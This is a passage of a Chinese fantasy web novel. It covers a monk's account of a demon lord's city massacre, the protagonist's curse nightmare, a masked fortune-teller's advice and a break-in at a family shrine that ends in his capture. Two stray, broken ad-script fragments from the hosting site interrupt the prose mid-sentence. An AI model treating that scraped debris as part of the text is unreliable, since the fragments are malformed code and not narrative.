细雪纷纷飘落,瀚海大师带几人来到侧院。一个十一二岁的小沙弥迎出来,道:“师父,你回来了……咦?” 魏小雨在聚仙集上见过他,道:“你是买越王头的那个小和尚。” 小沙弥想起来了,道:“啊对,你是大力出奇迹!” 两个人的年纪差不多,见了面很高兴。瀚海大师道:“我带几个客人回来烤烤火,莫嗔,烧点热茶来。” 小沙弥答应了,回屋坐在炉子边,打了水来烧。约莫丑时,众人巡夜习惯了,此时也不困。几盏灯火在屋里轻轻地摇曳,小和尚捧了茶过来,众人在窗边坐着,听见外头雪粒子沙沙地打在窗户上,感觉格外宁静。 前几天吃完的椰子壳还放在桌上,小沙弥从枕头底下拿出了一串九连环,朝魏小雨招了招手。她便带着墨墨过去了,两个人凑在一起摆弄那个小玩意儿。 瀚海大师道:“几位是大幽钦天监的人,为何来夷州?” 段星河喝了口茶,道:“我们奉皇帝之命,为他炼制御龙长生丹。” 瀚海大师的神色微微一滞,显然没想到有人会接这种苦差事,同情道:“那方子里的药难寻的很,你们这活儿不好干吧?” 之前刘叔似乎就知道些什么,却语焉不详的不敢说。段星河道:“大师也知道那个方子?” 瀚海大师道:“那个方子在幽州或许没人敢提,但是在夷州几乎人人都知道。它一开始就是从无双城传出去的。” 众人互相看了一眼,段星河道:“大师能说说么?” 瀚海大师为人率直,没什么好忌讳的,道:“说起来话就长了,我也是听我师父说的。你们要炼的御龙长生丹是一个极有天赋的丹修发明的,叫乾阳真人。他飞升成功之后,夜游神想办法拿到了那个方子。喔,夜游神,就是邪道上那些人口口声声喊的夜尊,你们应该听说过吧?” “听过,”段星河道,“他是虺神的仆人,心狠手辣,不少人都恨他。” 旁边两个小孩儿把九连环弄得叮当作响,为了解开它绞尽脑汁。瀚海大师淡淡道:“不错,当时夜游神杀了很多人,大家都很恨他,却又拿他没办法。南宫家有个小少爷,灵觉特别强,占卜的无一不准。他曾经预言夜游神会犯下天怒人怨的大错,身边的人都将离他而去。” 那几人都有些意外,步云邪道:“他怎么说?” 大师道:“夜游神觉得一个毛头小子的话,不值一哂。用他的话来说,就是恨他的人多了去了,骂的比这个难听的都有,这算得了什么。” 李玉真忍不住笑了,道:“虱子多了不痒,债多了不愁,他倒是挺想的开的。” 瀚海大师道:“倒也不是想得开,他当时忙着长生丹的事,没空理会这些。以夜游神的能力收集那些药材倒不是难事,但此药是正道宗门的人发明的,像他这样邪气入骨的人吃了无异于毒药,他必须化去一部分邪气,纳正气入体才能服用。夜游神舍不得自己的邪气,也不想修炼正气背叛虺神,陷入了矛盾之中。” 段星河道:“那他后来炼成了没有?” 瀚海大师摇了摇头,道:“那方子不光他想要,别人也眼馋。南宫家当时就是丹修界的世家名宿,南宫秀的二弟南宫泽胆子大得很,设法让人从夜游神那里偷来了长生丹的方子,一看内容也犯了难。这上天入地的,非人力所能及。夜游神没想到有人居然敢在太岁头上动土,便杀了南宫泽,还扬言要把南宫家的人一个个都杀光。” 众人都吃了一惊,段星河道:“他这么狠,南宫家能善罢甘休?” “当然不会,”瀚海大师道,“那是南宫秀嫡亲的弟弟,南宫秀悲痛欲绝,一怒之下把御龙长生丹的方子公开了,让夜游神杀之不尽,看他能怎么办。” 众人沉默下来,感觉大事不妙,两边都不是好惹的主儿,再这样下去恐怕要酿成大祸。瀚海大师道:“夜游神平生就没吃过什么亏,南宫家这样一而再再而三地挑衅他,夜游神自然忍不下这口气。他带着部下屠了半个无双城,不光杀南宫家的人,也杀无辜百姓。虺教的人杀了一天一夜才停,南宫家只留下了南宫秀一个人,偏要让他生不如死。官府也拿那些妖人没办法,只能收敛了尸体,一把火烧成骨灰,也分不清楚谁是谁。” 瀚海大师面露不忍之色,垂目道:“罪过、罪过。当年我师祖云游至此,见了那情形不忍心,便四处化缘,修复了城郊的一座破庙,便是如今的大悲寺。师父收敛了那些骨灰,带着弟子造了不少浮屠,诵经超度亡魂,希望它们能早日脱离苦海。” 众人一想到那么悲惨的情形,心都沉了下来。夜风呜呜地吹着,仿佛有什么在远处呼号,让人毛骨悚然。步云邪道:“后来呢,那方子怎么样了?” 瀚海大师道:“后来方子还是传开了,但因为药材太难找,所以也没人炼成过。死了的那些人,白白成了那两方争端的牺牲品。南宫秀后来又娶妻生子,发展了一支后代,延续至今。从前的事隔了几百年,当时的人几乎都死光了,他也只当没发生过,不再提起了。” 虽然早就知道夜游神不是什么好东西,但听了这些,还是让人不寒而栗。众人没想到南宫家枝繁叶茂的,当初居然也曾经被杀的只剩一人。李玉真皱起了眉头,叹道:“那夜游神真狠毒啊,为了一点小事就屠城,害死了多少人啊。他背了那么多罪孽,不会有好下场的!” 段星河听了这些往事,心情也很沉重,道:“他后来去哪里了?” 瀚海大师道:“不知道,据说是失踪了。可能早就已经死了吧。” 夜游神也算是一代枭雄,最后却死的悄无声息,何尝不是一种报应。 瀚海大师道:“虽然大悲寺度化了不少亡魂,但还是有一些怨灵漂泊在外,聚集在一起,便是刚才你们见的怨蛇了。” 李玉真道:“大师斩除了妖魔,这城里的百姓都要感谢你。” 瀚海大师道:“阿弥陀佛,这是贫僧的分内之事。几位朋友若非有正义之心,咱们也不会深夜相遇了。” 几人相视一眼,露出了笑容。步云邪想了一下,道:“那南宫家飞升的丹方是怎么回事?” 瀚海大师想了想,道:“你说太阴凝华丹啊……这倒是个不传之秘,方子只有南宫家知道,最初还是夜游神告诉他们的。” 众人都有些意外,道:“怎么回事?” 瀚海大师道:“玉蝉仙是南宫泽的儿子,天赋异禀,从小预言之事无所不中,甚至只要对方起心动念,他就能知道。夜游神要屠城之前,忽然想起了这个曾经诅咒过自己的小子,不想让他预警,就让人把他抓过来了。” 几人的心都悬了起来,李玉真道:“然后呢?” 瀚海大师道:“那少年不服气,试图往外传消息,结果被逮了个正着。夜游神一怒之下把他挂在城头,让他亲眼看着城里的人惨死,里头就包括他的亲人。少年悲痛欲绝,哭到最后眼睛都流了血。夜游神屠了城,偏偏留下了南宫秀和那少年,让他看看自己的决定害了多少人,杀人诛心也不过如此了。” 众人都十分不忍,觉得那夜游神简直就是恶魔。瀚海大师道:“那少年痛苦万分,他明明有预言的能力,却救不了任何人。夜游神把他从城头上放下来,那少年忽然拔下了头上的银簪,暴起要杀了夜游神——” 虽然从未谋面,李玉真对那少年十分同情,啊了一声,道:“他成功了吗?” 瀚海大师道:“他的力量弱小,自然不是夜游神的对手。夜游神把他按在地上,说‘想杀我,给你个机会。御龙长生丹你炼不成,嫦娥飞升的长生丹倒是唾手可得。三千女子眉心骨,炼化在一起,就能成仙。’” 众人沉默下来,觉得这种方子听起来就邪气的很。瀚海大师道:“那少年的家人都死光了,心灰意冷之下,决心拿自己的命赌一把,便凿了城中女子尸体上的眉心骨,炼化成了一颗太阴凝华丹。服下之后,他的元神便出了窍,皮肤上结了一层蜡质,身体变得僵硬如玉石,便是后来的玉蝉仙了。” 李玉真道:“那他去找夜游神算账了么?” “算什么账,”魏小雨陡然出声道,“有成仙的法子,夜游神自己就先成了,还会告诉别人么?” 众人回头望去,见魏小雨神色冷淡,方才还以为她在玩九连环,没想到她一直都在听其他人说话。 李玉真意识到是自己太天真了,心机还不如一个孩子。玉蝉仙被夜游神玩弄了,自己这个听故事的人也被耍的团团转。他搔了搔头道:“是啊……那他应该已经死了吧?” 瀚海大师同情地说:“南宫家对外说他成了仙,其实应该就是被毒死了,只是尸身一直没有腐朽罢了。那以后夜游神还逍遥快活了好一阵子,可怜那少年豁出性命跟他作对,最后也只是以卵击石罢了。” 众人都有些唏嘘,就听旁边哗啦一声响。魏小雨哈哈一笑,举起九连环道:“解开啦!” 小沙弥一脸难以置信地看着她,道:“我玩了半年,还是头一次解开呢,我还以为这是个坏的。” 她一心二用,居然还能解开。魏小雨笑嘻嘻道:“没坏呀,是你太笨了。” 小沙弥怒道:“你说谁笨!不给你玩了,还给我!” 两个人刚才还好好的,忽然就吵起来了。墨墨窝在一旁打盹,都习惯了,也不当回事。 段星河寻思着刚才见到的怨蛇,每一个脑袋上都缺一块眉心骨,看来瀚海大师说的都是真的。他不禁有种背后发凉的感觉,初来这座城时,他们只见到一片繁华,完全想象不到这里曾经遭过这样的大难。 外头的夜色没那么浓了,雪也渐渐停了。不知不觉聊了一宿,客栈该开门了。段星河放下了茶杯,道:“时候不早了,咱们先回去吧。承蒙大师招待,咱们改日再见。” 瀚海大师送他们出了门,小沙弥还在跟魏小雨闹别扭。魏小雨跟他挥了挥手,道:“再见啦,莫愁。” 这熊孩子有时候确实气人,跟同龄人在一起的时候尤为明显。小沙弥怒道:“我叫莫嗔!” 大师微微一笑,道:“莫嗔,莫嗔。” 小沙弥深吸了一口气,让自己平静下来,道:“阿弥陀佛,施主再会。” 城里的邪祟已经解决了,大家悬着的心也放下来了。步云邪打算闭关几天,之前接了南宫家的单子,该着手干活儿了。 回到了客栈,段星河躺在床上,想着夜里瀚海大师说过的话,心情有些复杂。夜游神着实是邪恶的化身,却又拥有别人望尘莫及的力量,一度是这个大陆的征服者。许多人对他恨之入骨,也有不少人死心蹋地的追随他。他就像一个阴影笼罩在这片大陆的上空,三百年后仍然有他的传说。 外头的寒风呼呼地吹着,又是一年年关到了。恍惚间,他周围坐满了人,每个人都在笑。赵大海端了一大盘饺子进来,桌上摆满了菜肴。师父坐在上首,温和地看着他,道:“吃饭吧,一会儿咱们出去放烟花。” 段星河想起来了,去年这个时候,他们跟师父在大幽重逢了。师父还不知道小雨失踪了,段星河吃着饺子,味同嚼蜡,生怕他问起小雨的事。身边的人聊着天,面容苍白而又空洞,欢愉的气氛脆弱的一碰就碎。 人群里没有小雨,段星河的心沉了下来。他好不容易找到她了,梦里却又总是见不到她。 他意识到自己是在做梦,想要醒过来,外面却有什么轻轻敲打着门,咚咚,咚咚咚。师父起身去开了门,整个人忽然被一条硕大的触手卷了起来。 “不要!” 段星河冲出去,想要拉住师父,那一坨不可名状的怪物已经把他拖进了一个黑洞里,咯吱,咯吱,慢慢地咀嚼着。师父甚至都没能发出惨叫声,黏腻的血肉已经淌了下来。 段星河被慑住了,身体僵立着无法动弹。那怪物转过来,充满了血丝的眼球盯着他,忽然伸出一条触手,重重地洞穿了他的胸腔。 好疼——! 他猛地睁开眼,大口喘着气,意识到自己刚才做了一场噩梦。段星河看着天花板,这才想起师父已经死了。咕咚、咕咚,他的心脏剧烈地跳着,心口还疼的厉害。他拉开衣领一看,诅咒的痕迹越发红了。枝枝叉叉的红色烙印就像一个囚笼,以他的心脏为质,一直折磨着他。 他坐在床边,拢上了衣领,等着疼痛消退。自从服用了灵光仙芝之后,诅咒发作的少了一些,却还是很折磨人。每当疼痛的时候,他便这样默默忍耐。从一开始的发疯,愤怒,到现在的假做无事发生,他已经习惯了与它共存。歇斯底里只会让虺神更加得意,他想让自己尽量不要去在意它。日子一天天往前过,他离蜀山越来越近了,只要见到了蜀山的长老,总会有办法解决的。 虽然不知道是不是自欺欺人,但起码有个坚持活下去的理由,段星河心里也清楚这一点,低低地叹了一口气。如果到时候希望破灭了,大不了再找一个新的理由,骗着自己活下去,直到挣扎不动为止。 他不知道自己为什么会梦见师父,或许是昨天夜里听到夜游神屠城的事,让他受到了冲击,这才唤醒了他内心最深处的恐惧。 嘶—— 胸口的烙印又隐隐作痛起来,他下意识按住了心口。他不想让别人恐慌,但一直这样闷着,有种难以承受的窒息感。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他只睡了两个时辰就醒了,步云邪此时应该还在睡。段星河忽然很想见他,就算什么也不说,见了他,自己的心里就能好受很多。 阿云跟自己巡了好几天夜,此时应该疲惫的很了。段星河犹豫了一下,没有去找他。他出了门,站在一楼大堂里。伏顺正好背着魏小雨从外面回来,道:“大师兄,你不多睡会儿啊?” 段星河眼底下两个黑眼圈,闷声道:“睡不着。” 伏顺哈地一声笑了,道:“这小丫头也睡不着,夜里茶喝多了。刚才让我带她出去买糖,逛了一圈就困了,赖着让我背回来。” 魏小雨迷迷糊糊地道:“大师兄,莫愁家的茶好浓啊。” 梦里虽然没梦到她,现实中见到了就好。段星河把她脑门前的刘海拨开一点,碰到她的感觉让他的心安定下来。他道:“他不是叫莫嗔么?” 魏小雨嘻嘻笑了起来,道:“他是个笨蛋,椰子壳打不开,九连环解不开,茶泡的也不好喝。下次我再去教给他……呼。” 她说着已经睡着了,伏顺背着她回了屋里。段星河停在客栈门口,阳光照下来,让他的心情好了一些。街上人流涌动,他没想好要去哪里,打算随便走一走。 斗丹大会结束了,城里的修士少了一些。然而百姓们看起来比前阵子还激动,一窝蜂地向城东涌过去,好像又有了新的热闹。 一个中年汉子挑着豆腐担子从他身边经过,大声喊着:“让一让,让一让。” 段星河道:“这么多人,干什么去?” “这你都不知道?”那汉子道,“谶语师出关了,他老人家已经闭关一年多了,今天头一次开口,大家都想去听一听呢!” 旁边一人道:“就是,谶语师说的可准了。天底下他若是谦称第二,没人敢说自己是第一。” 百姓们乌乌泱泱地向前涌去,段星河想起了阿萝曾经跟自己说过,有为难事,不妨去城东逛一逛。他的心微微一动,既然那谶语师如此厉害,说不定他有法子帮自己。 他随着人流来到了城东,一座小楼十分华丽,二层上有一个大平台。一楼挂着一块黑底金字的匾额,上头写着知因渡三个大字。 百姓们自觉地围了个圈子,有人带着捆好的鸡鸭,有人带来了刚宰杀的新鲜猪肉,大家都翘首期盼着,仿佛一场盛大的迎神大会。 那挑豆腐担子的人挤了过来,来到门前,诚恳道:“恭喜谶语师出关,当初我屡试不第,差点跳河自杀。多亏了他救我上来,又指点我做这门生意,我才能安身立命。如今我已经娶了媳妇,生了闺女,挑两担豆腐来感谢他老人家。” 几个守门的弟子穿着红色衣袍,态度谦虚有礼,道:“不必这样客气,阁下生活不易,还是请拿回去吧。” 那人急切道:“这些豆腐不值什么钱,是我一家人的心意,请大师一定收下!” 他说着卸下担子,那几个弟子只好收下了豆腐,行礼道:“多谢。” 又有个六十多岁的老头儿拄着拐杖,咚咚地走了过来。他老伴儿陪着他,手里提着一个篮子,里头装满了鸡蛋。看门的弟子不肯收,老婆子急道:“一定要收下,我们是诚心来谢大师的。” 旁边有人道:“老爷子,腿怎么了?” 老头儿拍了拍腿道:“我早年中了苗疆的蛊,一到阴雨天寒就连腿带脚钻心似的疼。我找了不少郎中,都看不好。只有大师一眼就看出了我的病根儿在左脚掌上,以后蛊虫还会往心脏里钻,让我截了半个脚掌去,我的腿脚就真的不疼了。谢天谢地,虽然走路有点跛,起码命保住了啊!” 其他人唏嘘不已,感叹谶语师修为高深,简直就是活神仙。又有一些百姓带了鸡鸭鱼肉,一篮篮地送进去。段星河心中寻思,看来这人还挺受欢迎的,说不定真有些本事。 据说谶语师为全城百姓祈福,闭关一年,今日赐福于城中百姓。得到他的祝福能够平安顺遂,百病不生。大家纷纷涌了过来,希望能沾点好运气。段星河站在人群里,对那位谶语师十分好奇,想看一看他到底是什么模样。 片刻到了巳时,二楼的门打开来,几名红衣弟子先走到了平台上。百姓们激动不已,纷纷道:“来了,来了!” 就见一人穿着紫色法袍,脸上戴着一个硕大的铜面具,从屋里走了出来。那人的面具贴合脸庞,上面有几道纵向的黑色裂纹,眼睛处露出两个洞,就像一个没有血色的人皮面具一般。 他戴着莲花冠,看不出多大年纪,却带着一派仙风道骨的气质。百姓们十分激动,纷纷道:“恭迎谶语师!大人终于出关了!” 谶语师缓缓走到平台上,俯视着下面的人群,庄严得如同神祇一般。城里的很多百姓都来找他求过占,无不应验,对他十分崇拜。人们放声欢呼,有人甚至激动地哭了起来。 谶语师张开双臂,仿佛接纳他的一切信徒一般,温柔地回应他们。阳光从他头顶照下来,他整个人仿佛都散发着光芒。 那气氛十分狂热,就连路过的人都被感染了,忍不住抬头仰望着他。弟子们捧来了一个水晶瓶,里头盛满了他闭关时祈祷供奉的净水,具有清净祝福的力量。 他用一根松枝沾着净水,向下洒在了百姓们身上。大家争相涌过来,都想沾一点赐福的甘露。在前头的眉开眼笑,被挤在后面的急赤白脸,捶胸顿足,恨自己没早来抢占一个有利的位置。 段星河听说这里的百姓都信奉夷州王,认为他们的大王才是唯一的真神转世,其他的什么神都要靠边站。然而眼下这光景,这人简直就是肉身显圣的待遇,恐怕就连夷州王来了也要嫉妒他了。 几滴甘露落在了段星河的头上,他抬头望着楼上的人,对他面具后的真容产生了兴趣。 不知道是不是错觉,段星河觉得他的目光也在自己身上停留了片刻,好像在沉思什么。 谶语师出关,每天只算二十个人。百姓们提前好几天就来拿号了,昨天夜里来的都排到了二百名开外。段星河跟一名红衣弟子抽了一根,垂眼看着自己的号码,六百三十九,排到自己得等到猴年马月了。 今天的二十个人已经排好了队,都是一副喜气洋洋的模样。段星河在旁边看了一阵子,觉得自己是没缘分了,呼出一口白气。他从人群中挤了出去,搓了搓冻红的手。在外头待的久了,有点着寒气。他寻思着去前头街上买几斤炙羊肉,回去找兄弟们烤烤火,喝几杯。 他转过街角,忽然听见有人在后头喊他:“公子,这位公子,请留步。” 段星河回过头去,却见那谶语师的弟子走了过来。他看左右没人注意,低声道:“师父请你一会儿上去一趟。” 段星河有些诧异,下意识道:“上去做什么?” 那红衣弟子微微一笑,道:“师父说,他与你有眼缘,今日额外送你一卦。” 76.玉蝉仙 五 知因渡前排了一条长长的队伍,都是等待算命的百姓们。红衣弟子带着段星河从后门而入,送了杯茶过来,让他在隔间小坐片刻。 段星河坐在火炉边上,听着谶语师在楼上给百姓们看卦算命,声音隐隐约约的。他竖起了耳朵,只能听到一些只言片语,越发激起了他的好奇心。 这里是谶语师的会客处,屋里摆着一张柳木方桌,几把椅子。一名十五六岁的弟子进来续水,段星河道:“小兄弟,你家师父尊讳为何,信奉哪路神仙?” 那小弟子生着张圆圆脸,和气道:“我师父的名讳呀,你得亲自去问,看他乐不乐意告诉你,我可不敢随便跟别人说。” 段星河失笑,那弟子又道:“我们夷州人都信奉夷州王,我师父谶语师的名头就是夷州王钦赐的。每年立春他都要为大王主持春耕大祀,立秋之后闭关,立冬出关。这两天在家收拾收拾行李,我们就要去大都了。” 他这么说着,一脸骄傲。段星河本来以为谶语师的威望只在民间高,没想到夷州王也认可,看来这人是有真本事的。 两人说着话,今日的百姓都算完了。一名弟子过来道:“公子,师父有请。” 段星河上了楼,屋里弥漫着一股檀香的气息。屋里垂着青色的幔帐,靠墙放着一张小桌,上面摆着个白玉花瓶,插着几支红梅。深处摆着一张宽大的书桌和一排书架,桌上放着签筒和笔墨,陈设颇为清雅。 段星河行礼道:“在下段星河,见过前辈。” 谶语师轻轻一笑,声音居然不甚苍老。段星河以为他至少有五十多岁了,但听声音他才不过二十来岁。以他的修为来说不可能真这么年轻,那么便是修炼有成驻颜有术了。谶语师道:“不必客气,我姓允,名婆娑。” 段星河疑心他听见了自己在楼下问的话,这人简直有千里眼顺风耳,又聪明至极,所有人在他面前都像是透明的。那人脸上戴着面具,看不出心思,段星河单方面被他看着,感到了一点不自在。 他道:“前辈为何叫在下前来?” 允婆娑道:“方才我在楼上见你眉心带着一点煞气,面色愁苦,想来是身上有疾,便想请你上来看一看。” 段星河的心一动,道:“前辈有办法治我的病?” 允婆娑走到书案后面,道:“你把手伸出来。” 巫医在不少地方都是一家的,允婆娑除了给人算命之外,也会把脉,是生是死一摸便知。段星河坐在一旁,把手伸了过去。允婆娑摸了片刻,叹了口气。 凡是摸过他脉搏的人,不是面露难色,就是长吁短叹。段星河见惯了这情形,心还是免不了微微一沉,道:“前辈,怎么样?” 允婆娑道:“你身上有邪神的诅咒,种在心口,日夜折磨着你。你往西去,便是要解除这诅咒。” 段星河虽然什么都没说,他却已经看透了。段星河生出了佩服之心,难怪那么多人信他。他道:“前辈所断不错,我这诅咒是虺神烙下的,一直折磨着我,不知有什么法子消除?” 允婆娑沉吟道:“你这病凡人难以解除,要找一位高位之人来化解。” 段星河有些失望,本以为他有办法,没想到跟别人说的也差不多。他道:“晚辈此去巴蜀,就是为了求蜀山的前辈帮忙,他们信奉凤神,不知道有没有办法。” 允婆娑轻轻一笑,道:“去巴蜀倒是也可,只是此城中就有一位成仙之人。你既然从此经过,便是缘分,何必舍近求远呢?” 段星河一怔,忽然想起了南宫家的玉蝉仙。他道:“前辈是说玉蝉仙?他只剩下一副躯壳了啊。” 允婆娑仿佛觉得这年轻人迟钝,拿起折扇轻轻一敲他脑门,道:“痴人、痴人。” 段星河越发疑惑了,道:“晚辈愚钝,还请前辈明示。” 允婆娑沉吟道:“玉蝉仙虽然已经飞升,他的蝉蜕上或许遗留着成仙的秘密。你这诅咒若是找不到神来解除,仙解之时说不定也会消失。” 燕丘的萨满说,纵使重塑肉身,诅咒也会跟着他。谶语师却说,重塑肉身之后,诅咒有可能会消失。这种事谁也没经历过,未必谁说的就是对的。段星河沉默着,不知道该不该试一试。 冬日的阳光照进来,却无法驱散屋里的阴影。允婆娑的目光冷冰冰的,透过面具静静地看着他。段星河沉默下来,一时间犹疑不决。允婆娑微微一笑,道:“该说的话我都已经说了,来路是你自己走的,去路也由你自己决定。” 两名弟子从帘外进来,做了个请的手势。段星河便站了起来,恍恍惚惚地下楼去了。 大街上人来人往,他想着刚才谶语师的话,满脑子都是南宫家的那具棺材。当日在斗丹大会上远远望了一眼,那具蝉蜕的影子就一直烙在他心里。段星河不知道自己是怎么回的客栈,他昨天只歇了两个时辰,此时昏昏沉沉的,回屋倒头就睡。 他睡了很长一觉,醒来时窗外的天空已经昏黄了。段星河坐在床边,想着这一路走来,给他提供线索的人都说凡人无法解除虺神的诅咒,只能找凤神想办法。只有谶语师说成仙重塑肉身,或许是个法子。 各人的天赋和机缘都不同,花上个三五百年,甚至几千年飞升都是常事。但对于段星河来说,飞升是极其迫切的需求。这具肉身的承受能力是有限的,在它彻底崩坏之前,他想拯救自己。 当初大灾之年死了那么多人,他也挣扎着活下来了。这个世界很残酷,充满了勾心斗角,阴谋算计,却也有春天的花,冬天的雪,重要的人的笑容,那些都是让他留恋的东西。他对生存有种野兽般的渴望,哪怕活的伤痕累累,鲜血淋漓,踩着无数人的尸骨,他也要做那个活下来的人。他不耻于承认自己的兽性,只要有一线机会,他都要想办法生存下去。 他闭上眼,脑海中又浮现起了那具水晶棺材,那是他唯一亲眼见过成仙的人。那具蝉蜕中藏着无上的秘密,强烈地吸引着他,召唤着他。 段星河的目光渐渐沉了下去,谶语师说的没错,既然从此处经过,便是缘分,何妨去看一看呢? 夜色深沉,街上静悄悄的。怨蛇已经被降服了,各路修道者也放下了心。段星河穿着一身黑衣,用黑巾蒙着面,悄然翻进了南宫家。临仙居外有两个挎着刀的侍卫,一人百无聊赖地打了个呵欠,另一人道:“站好了,刚换岗你就犯困!” 那人只好站直了,一会儿功夫眼皮子又开始打架。段星河藏在暗处,簌簌两声,将两根淬了麻药的银针打了过去。那银针极细,毒性发作的又极快,两个人还没感觉到异样,双腿一软,已经倒了下去。 段星河悄然走了进去,祠堂里有两个供满了长生灯的架子,灯光明晃晃的。水晶棺材摆在祠堂正中,那具蝉蜕穿着华丽的法袍,衣服上以金线绣着星辰、山川和浪涛,身上挂满了金玉之物,被灯光一照,极其璀璨华美。他脖子上戴着流苏繁复的金璎珞,头冠上镶嵌着硕大的鸽血红宝石,双手放在胸前,持着一柄羊脂玉雕成的如意。 段星河注视了他片刻,越看越觉得被玉蝉仙吸引。他拿起三炷香点燃了,祷祝道:“晚辈深受虺神诅咒折磨,前辈若是有灵,可否示下解除之法?” 四下静悄悄的,香炉里的烟四下飘散,玉蝉仙对他的话并不理会。 段星河的目光沉了下来,他今日来必须有个结果。既然对方不回应,自己就只好动手了。 他道了一声得罪,轰地一声掀开了棺盖,玉蝉仙的遗体直接暴露在他面前。棺材里弥漫着一股陈旧的气味,像是檀香、松脂和尘土混合的气息。段星河的心跳得快了些,他缓缓伸出手,碰到了玉蝉仙的身体,感觉这具蝉蜕十分坚硬。长明灯的光照下来,他拉起袖子一看,玉蝉仙的皮肤洁白,毫无一点瑕疵,仿佛已经变成了石头。 段星河动了动他的胳膊,关节还能动,但身体已经坚硬不朽了。在亲眼见到之前,段星河对他是否真的成仙了还持着怀疑的态度,如今见这具蝉蜕像玉雕的一般,心中也开始动摇了。 说不定他真的已经成了仙,要不然世间怎么会有这样的东西。段星河的意识有些恍惚,谶语师说蝉蜕身上藏着成仙的秘密,却不知道在什么地方。 段星河像被什么驱使着一般,解开了玉蝉仙的外袍,蝉蜕上的金玉缠在了他的手指上,叮叮当当的。这地方太压抑了,段星河莫名有些心烦,他把那些首饰一股脑扯出来,扔在了地上。蝉蜕的身体裸/露出来,跟凡人没什么两样。段星河有些失望,目光审视着蝉蜕,忽然意识到它还戴着面具。 秘密说不定就藏在这下面—— 沉重的木头面具上勾勒着金色的花纹,形成藤蔓缠绕的样子。藤萝附甲,缓缓地吐出细芽,攀缘着身边的乔木,柔极弱极,又涌动着不安分的野心,悄然形成自己的一片绿荫。 他的脸在南宫家是个禁忌,看过的子弟都没有好下场。段星河却不信这个邪,霍然摘下了面具。灯光照在玉蝉仙的脸上,映出了他的面容。段星河难以置信地看着眼前的情形,手一抖,木头面具铛啷啷地落在了地上。 怎么会——!!! 蝉蜕的容貌跟那个在歌楼喝酒的少年极其相似。面前的人紧闭着双眼,没有阿萝的灵动之气,多了几分庄严,玉石一般的肌肤映着外头的月光,颇为动人。他身上散发着柔和的太阴之气,三千女子眉心骨炼成的金丹要了他的命,却也让他变得极其美丽,像月亮一般冰冷朦胧。 “呵……呵呵呵呵……” 不知何处传来了一阵低低的笑声,有些讥诮,又像银铃一般带着几分诱惑的意味。 蝉蜕分明已经僵了,此时却仿佛露出了一抹似笑非笑的表情。段星河注视着他,一时间有些恍惚,魂魄仿佛被摄走了一般,忘却了自己为什么要来这里,只是定定地看着那具尸体。 “什么人!” 外头忽然传来一阵凌乱的脚步声,巡夜的弟子发觉不对劲,带着十来个南宫家的子弟冲了进来。就见长明灯下,不知何时闯入了一个外人。段星河跪在棺材前,一只手搂着那具蝉蜕,正痴痴地注视着他。 玉蝉仙的面具已经被摘下来了,棺材里的金银撒了一地。玉蝉仙的衣裳被褪去了一半,露着半边肩膀,像一具断线的傀儡一样仰着头,乌黑的头发散落一地,那情形极其艳丽,又有种说不出的诡异。 众人大惊失色,道:“哪来的野小子,居然敢冒犯玉蝉仙!” 一群人拿刀剑指向了他,都如临大敌。段星河被寒光照着,一时间还有些迷惘。他低头看着自己的情形,整个人像被榔头敲了一记,顿时清醒了过来。 这是南宫家的先人,自己不但偷偷潜入祠堂,还把他的遗体从棺材里拖出来,剥去了他的衣裳,简直就是鬼迷心窍了! 段星河连忙放开了那具尸体,想站起来,十来把钢刀架在他脖子上,重重地把他压了回去。段星河只得跪在地上,模样极其狼狈。地上到处都是散落的珠宝,简直落实了他要盗宝辱尸。他也不知道自己怎么会做出这样的事来,本来只想悄悄来瞧一眼,没想到看到这具蝉蜕的那一刻起,他就已经身不由己了。 那具蝉蜕周身散发着太阴之力,如同迷雾中的月亮,美丽而又凄迷,不会放过任何一个冒犯他的人。 南宫秀拨开人群,大步走了进来,厉声道:“谁敢擅闯我南宫家的祠堂!” 他见了眼前的情形,气得脸色苍白。这小子非但擅闯祠堂,看这情形还要亵渎尸体,简直是胆大包天。两名道人跟着走了进来,却是蜀山的那两名剑仙。陈松屿看着一片凌乱的祠堂,简直不敢相信自己的眼睛。他与师弟本来应邀来南宫家谈经论道,做客数日,没想到半夜发生了这样的事。 陈松屿皱起了眉头,不久前自己还刚向师门复过命,说这年轻人一路走来未行恶事,还常斩妖除魔保护百姓,没想到他这就做出这种无法无天的事来。陈松屿都觉得自己脸上无光,根本不想承认见过此人。 旁边肖月明的表情也十分难看,道:“你这小子疯了不成?你想干什么!” 段星河不知该如何解释,已经出了一身冷汗,道:“我没想……我听说他成了仙,身上必然有飞升的法门,我只是想看一看……” 南宫秀怒道:“你还敢狡辩,今日两位蜀山的道长也在,替我做个明证。你盗窃殉葬珍宝,亵渎尸体,罪大恶极。来人,给我把他关到地牢里去!” 一群人上来拉扯他,段星河不愿就范,挣扎起来。几个人把他按在地上,一人扭头喊道:“拿铁链来!” 段星河的头发散下来,脸上贴在地上沾满了灰尘。他怒道:“放开我,我什么都没做!” 谁也不肯信他,有人道:“这么多人都看见了,你还敢狡辩!” 一人把铁链提了过来,要往他身上缠。段星河知道他们是不可能相信自己了,也不再容让。他一把攥住了铁链,哗啦一下子扯过去。那铁链沉甸甸的,他往人群中一抡,南宫家的子弟哎呦一声,纷纷向后退去。段星河摸向了腰间的幽冥剑,锵地一声拔了出来。 他的眼神阴狠,就像一头被逼入陷阱的野兽,道:“我不想伤人,你们别逼我动手。” 众人都有些忌惮,南宫秀冷冷道:“给我拿下!” 南宫家的子弟一拥而上,十来把刀剑朝他砍了过去。长明灯把无数黑黢黢的影子照在墙上,混乱中,一名弟子被他砍翻在地,胳膊上满是鲜血,倒在地上不住惨呼。其他人越发愤怒,像一群虾兵蟹将源源不绝地涌过来。 再这么打下去要出大事,陈松屿看不下去了,提剑从人群中掠过去,出手快如闪电,一招便架住了他的幽冥剑。段星河知道蜀山的人还能讲些道理,急切道:“陈道长,你相信我,我真的没有!” 陈松屿冷冷道:“你就不该来这里。” 他说的没错,君子不立于危墙之下,若非鬼迷心窍他也不会来到这里。段星河一时间无言以对,陈松屿出手如风,刹那间一掌切在他后颈。段星河对别人还心存提防,对陈松屿没有戒备,就这么被他放翻在地。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他眼前一黑,意识已然断了线。南宫秀长长吐出一口气,仿佛解决了一个心腹大患,挥手道:“把这个小贼关起来!” 南宫家的弟子一拥而上,拿铁链把段星河锁了起来,七手八脚地拖了下去。 